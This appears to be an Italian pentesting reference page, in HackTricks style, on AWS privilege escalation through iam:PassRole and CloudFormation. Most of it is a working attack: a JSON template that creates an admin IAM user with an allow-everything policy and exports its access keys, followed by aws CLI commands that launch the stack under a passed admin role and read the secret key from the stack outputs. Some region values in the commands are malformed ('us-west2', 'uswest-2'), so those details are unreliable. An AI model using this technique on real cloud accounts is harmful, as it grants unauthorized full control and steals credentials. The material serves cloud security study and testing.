# iam:PassRole, cloudformation:CreateStack,e cloudformation:DescribeStacks

{{#include ../../../../banners/hacktricks-training.md}}

Un attaccante potrebbe ad esempio utilizzare un **cloudformation template** che genera **chiavi per un utente admin** come:
```json
{
"Resources": {
"AdminUser": {
"Type": "AWS::IAM::User"
},
"AdminPolicy": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"Description": "This policy allows all actions on all resources.",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": "*"
}
]
},
"Users": [
{
"Ref": "AdminUser"
}
]
}
},
"MyUserKeys": {
"Type": "AWS::IAM::AccessKey",
"Properties": {
"UserName": {
"Ref": "AdminUser"
}
}
}
},
"Outputs": {
"AccessKey": {
"Value": {
"Ref": "MyUserKeys"
},
"Description": "Access Key ID of Admin User"
},
"SecretKey": {
"Value": {
"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"]
},
"Description": "Secret Key of Admin User"
}
}
}
```
Poi **generare lo stack di cloudformation**:
```bash
aws cloudformation create-stack --stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::[REDACTED]:role/adminaccess \
--capabilities CAPABILITY_IAM --region us-west-2
```
**Aspetta un paio di minuti** affinché lo stack venga generato e poi **ottieni l'output** dello stack dove sono **memorizzate le credenziali**:
```bash
aws cloudformation describe-stacks \
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
--region uswest-2
```
### Riferimenti

- [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)

{{#include ../../../../banners/hacktricks-training.md}}
